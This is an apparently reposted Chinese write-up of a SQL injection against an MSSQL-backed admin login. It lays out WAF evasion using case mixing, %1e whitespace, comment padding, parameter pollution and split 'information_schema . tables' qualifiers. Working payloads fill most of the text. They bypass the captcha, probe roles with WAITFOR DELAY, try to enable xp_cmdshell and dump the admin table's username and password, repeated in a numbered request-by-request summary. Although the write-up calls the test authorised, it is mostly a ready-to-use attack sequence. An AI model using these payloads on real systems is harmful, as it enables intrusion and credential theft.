記一次實戰MSSQL注入繞過WAF


本次測試為授權測試。注入點在后台登陸的用戶名處

存在驗證碼,可通過刪除Cookie和驗證碼字段繞過驗證


添加一個單引號,報錯

and '1'='1

連接重置——被WAF攔截

改變大小寫並將空格替換為MSSQL空白符[0x00-0x20]

%1eaNd%1e'1'='1


查詢數據庫版本,MSSQL 2012 x64

%1eoR%1e1=@@version%1e--


查詢當前用戶

%1eoR%1e1=user%1e--


查詢當前用戶是否為dba和db_owner

;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --

均出現延時,當前用戶既不是dba也不是db_owner

嘗試執行xp_cmdsehll,沒有相關權限

;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --
;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --



查詢當前數據庫,連接重置——被WAF攔截

%1eoR%1e1=(db_name()%1e)%1e--


去掉函數名的一個字符則正常返回——WAF過濾了函數db_name()。MSSQL和MSQL有一些相同的特性,比如:函數名和括號之前可用注釋或空白符填充

%1eoR%1e1=(db_name/**/()%1e)%1e--



查詢當前數據庫的表,連接重置——被WAF攔截

%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--


刪除select后面的語句,返回正常。在IIS+ASPX的環境里,如果同時提交多個同名參數,則服務端接收的參數的值為用逗號連接的多個值,在實際應用中可借助注釋符注釋掉逗號

%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--

依然被攔截

刪除infOrmatiOn_sChema.tAbles的一個字符則返回正常——WAF過濾了infOrmatiOn_sChema.tAbles。以前在學習MYSQL注入時看到官方文檔有這樣一句話:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而經過測試MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles

%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--


可通過not in('table_1','table_2'...)的方式遍歷表名

手工注入使用這種方法太慢,一次性查詢所有表名

%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--


根據表名判斷管理員表應該為appsadmin,一次性查詢該表的所有列

%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin


獲得管理員用戶名和密碼字段:AdminName、Password。查詢用戶名和密碼

%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--



解密后成功登陸后台


總結

1.對目標站點進行bp抓包,發現目標系統存在驗證碼

2.在請求的數據包中將cookie的參數和值刪除以及刪除掉驗證碼參數和值。

3.再次進行請求,發現沒有提示驗證碼錯誤的信息

4.請求的post數據包中的username處加入單引號報錯

username=amdin'&password=admin

5.測試and  '1'='1,無法顯示,則目標系統存在WAF

username=amdin'  and  '1'='1&password=admin

6.改變and關鍵字大小寫,空格用mssql空白符([0x00-0x20])也就是%1e替換。可看到正常回顯內容

username=amdin'%1eaNd%1e'1'='1&password=admin

7.查詢數據庫版本

username=amdin'%1eoR%1e1=@@version%1e--&password=admin

8、查詢當前用戶

username=amdin'%1eoR%1e1=user%1e--&password=admin

9.查詢當前用戶是否為dba和db_owner,均出現延時,當前用戶既不是dba也不是db_owner

username=amdin';if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --&password=admin

username=amdin';if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --&password=admin

10.嘗試執行xp_cmdsehll,沒有相關權限,提示xp_cmdshell不存在

username=amdin';eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --&password=admin

username=amdin';eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --&password=admin

11.查詢當前數據庫名,連接重置——被WAF攔截

username=amdin'%1eoR%1e1=(db_name()%1e)%1e--&password=admin

12.waf那么可能攔截了db_name()函數,這里可以通過函數名和括號之前可用注釋/**/或空白符填充,成功獲取當前數據庫名

username=amdin'%1eoR%1e1=(db_name/**/()%1e)%1e--&password=admin

13.獲取當前數據庫表,連接重置——被WAF攔截


username=amdin'%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--&password=admin

14.刪除select后面的語句,返回正常。在IIS+ASPX的環境里,如果同時提交多個同名參數,則服務端接收的參數的值為用逗號連接的多個值,在實際應用中可借助注釋符注釋掉逗號,依然被WAF攔截

username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--&password=admin

15.刪除infOrmatiOn_sChema.tAbles的一個字符則返回正常——WAF過濾了infOrmatiOn_sChema.tAbles。以前在學習MYSQL注入時看到官方文檔有這樣一句話:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而經過測試MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles,成功獲取表名

username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--&password=admin

16.一次性查詢所有表名

username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--&password=admin

17.根據表名判斷管理員表應該為appsadmin,一次性查詢該表的所有列

username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin

18.獲得管理員用戶名和密碼字段:AdminName、Password。查詢用戶名和密碼

username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--&password=admin

username=amdin'

%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--&password=admin

20.解密用戶名的密碼hash值,成功登陸后台





免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM